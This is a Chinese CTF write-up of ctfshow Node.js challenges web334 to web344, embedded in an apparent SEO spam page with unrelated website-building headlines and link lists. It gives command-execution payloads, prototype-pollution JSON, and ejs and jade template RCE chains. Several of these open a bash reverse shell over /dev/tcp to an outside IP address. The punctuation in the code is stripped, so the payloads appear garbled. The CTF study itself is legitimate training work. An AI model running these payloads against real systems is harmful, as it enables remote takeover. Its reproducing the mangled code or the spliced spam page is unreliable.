当前位置: 首页 > news >正文

济南做网站公司有哪些泰兴做网站的公司

济南做网站公司有哪些,泰兴做网站的公司,个人dw网页设计,手机网站 微网站目录 ①web334 ②web335 ③web336 ④web337 ⑤web338 ⑥web339 ⑦web340 ⑧web341 ⑨web342-343 ⑩web344 ①web334 进来是一个登录界面 下载附件#xff0c;简单代码审计 表单传ctfshow 123456即可 ②web335 进来提示 get上传eval参数执行nodejs代码 payload: …目录 ①web334 ②web335 ③web336 ④web337 ⑤web338 ⑥web339 ⑦web340 ⑧web341 ⑨web342-343 ⑩web344 ①web334 进来是一个登录界面 下载附件简单代码审计 表单传ctfshow 123456即可 ②web335 进来提示 get上传eval参数执行nodejs代码 payload: ?evalrequire(child_process).execSync(tac f*).toString()  ③web336 ?evalrequire(child_process).spawnSync(cat,[fl001g.txt]).stdout.toString() (不能使用通配符) ④web337 上来给到源码 ?a[x]1b[x]2  a{x:1} b{x:2}console.log(aflag{xxx}) console.log(bflag{xxx}) 二者得出的结果都是[object Object]flag{xxx}所以md5值也相同 ⑤web338 进来拿到源码 贴两段关键的 login.js var express require(express); var router express.Router(); var utils require(../utils/common);/* GET home page. */ router.post(/, require(body-parser).json(),function(req, res, next) {res.type(html);var flagflag_here;var secert {};var sess req.session;let user {};utils.copy(user,req.body);if(secert.ctfshow36dboy){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: 登录失败JSON.stringify(user)}); }});module.exports router; common.js module.exports {copy:copy };function copy(object1, object2){for (let key in object2) {if (key in object2 key in object1) {copy(object1[key], object2[key])} else {object1[key] object2[key]}}} 考的是原型链污染 payload: {a:1,__proto__:{ctfshow:36dboy}} ⑥web339 关键代码 api.js var express require(express); var router express.Router(); var utils require(../utils/common);/* GET home page. */ router.post(/, require(body-parser).json(),function(req, res, next) {res.type(html);res.render(api, { query: Function(query)(query)});});module.exports router;login.js var express require(express); var router express.Router(); var utils require(../utils/common);function User(){this.username;this.password; } function normalUser(){this.user }/* GET home page. */ router.post(/, require(body-parser).json(),function(req, res, next) {res.type(html);var flagflag_here;var secert {};var sess req.session;let user {};utils.copy(user,req.body);if(secert.ctfshowflag){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: 登录失败JSON.stringify(user)}); }});module.exports router; flag值未知用上一题的思路走不通 这时候看api.js的代码发现存在可以在login污染query参数 再在api利用Function反弹shell Function(query)是一个函数构造器它将一个字符串参数(query)作为函数体然后返回一个新的函数。这个新的函数可以接受任意数量的参数并执行query字符串中的JavaScript代码。 而后面的(query)则是将这个新生成的函数再次调用并将参数query传递给它。由于这里的参数名和函数体的字符串内容是一致的因此实际上相当于是将query字符串解析成了一个函数并立即执行这个函数返回值作为整个语句的结果。 贴出payload {__proto__:{query:return global.process.mainModule.constructor._load(child_process).exec(bash -c \bash -i /dev/tcp/124.222.136.33/1337 01\)}} 在login污染 在api触发 ⑦web340 贴出不一样的地方 login.js var express require(express); var router express.Router(); var utils require(../utils/common);/* GET home page. */ router.post(/, require(body-parser).json(),function(req, res, next) {res.type(html);var flagflag_here;var user new function(){this.userinfo new function(){this.isVIP false;this.isAdmin false;this.isAuthor false; };}utils.copy(user.userinfo,req.body);if(user.userinfo.isAdmin){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: 登录失败}); }});module.exports router; 这里要注意的是user.userinfo.isAdmin原本就存在不会向上找修改Object.isAdmin无用 所以还得利用api反弹shell 但这次要污染两层 payload: {__proto__:{__proto__:{query:return global.process.mainModule.constructor._load(child_process).exec(bash -c \bash -i /dev/tcp/124.222.136.33/1337 01\)}}} ⑧web341 我测api没了还有啥利用点 在app.js中发现是ejs 直接ejs rce梭了 payload: {__proto__:{__proto__:{outputFunctionName:_tmp1;global.process.mainModule.require(child_process).exec(bash -c \bash -i /dev/tcp/124.222.136.33/1337 01\);var __tmp2}}}printenv查看环境变量可以看到flag ⑨web342-343 在app.js中发现是jade 直接用jade rce payload {__proto__:{__proto__: {type:Code,compileDebug:true,self:true,line:0, \\ ));return global.process.mainModule.constructor._load(child_process).exec(bash -c \bash -i /dev/tcp/124.222.136.33/1337 01\);//}}} 注意这里发包时要设置Content-Type: application/json ⑩web344 理想的payload: ?query{name:admin,password:ctfshow,isVIP:true} 为了绕过,过滤 补充前置知识 nodejs 会把同名参数以数组的形式存储并且 JSON.parse 可以正常解析 因为双引号的url编码是%22再和c连接起来就是%22c会匹配到正则表达式 所以要编码c 最终payload: ?query{name:adminquerypassword:%63tfshowqueryisVIP:true}
http://www.zqtcl.cn/news/153899/

相关文章:

  • 互联网三网合一网站建设银川网站建站公司
  • 网站开发需要什么基础网站建设积分
  • 安平做网站的电话装修公司哪家产品好
  • 网站建设内部链接精选资料
  • 廊坊市网站中山网站建设排名
  • 济南网站APPwordpress零基础建站教程视频
  • nodejs和wordpress福建seo快速排名优化
  • 网站开发的主要工作步骤页面跳转流程图
  • 医院网站源码 asp网站店招用什么软件做的
  • 怎样做网站权重龙岗网站制作讯息
  • 谁可以教我做网站网页编辑工具是什么
  • 义乌网站建设费用多少建设网站套餐
  • 济南高端网站环保网站建设项目备案系统
  • 办公门户网站模板WordPress怎么两个标题
  • 做网站 域名是怎么回事邢台163交友手机端
  • 台州免费做网站公司资质查询官方网站
  • 网站开发常用数据库江苏大才建设集团网站
  • WordPress多站点恢复石家庄住房城乡建设网站
  • 怎么免费做网站教程手机网站开发项目
  • 临沂做网站需要多少钱甘肃兰州地震最新消息刚刚
  • 怎么把网站封包做appwordpress葬爱导航
  • 浙江省建设厅门户网站菠菜网站如何做推广
  • 飞鸽网站建设网站建设源代码交付
  • 阿里云服务器做盗版电影网站wordpress密码访问
  • 本机可以做网站的服务器吗做磨毛布内销哪个网站比较好
  • 免费建站系统wordpress一个网站需要什么
  • 移动端网站制作的有哪些要求百度广告投放价格表
  • 网站建设互联网推广广告设计公司业务范围
  • 昆明网站关键词优化沪佳装修公司全部门店
  • 南阳卧龙区2015网站建设价格快三直播十大平台直播间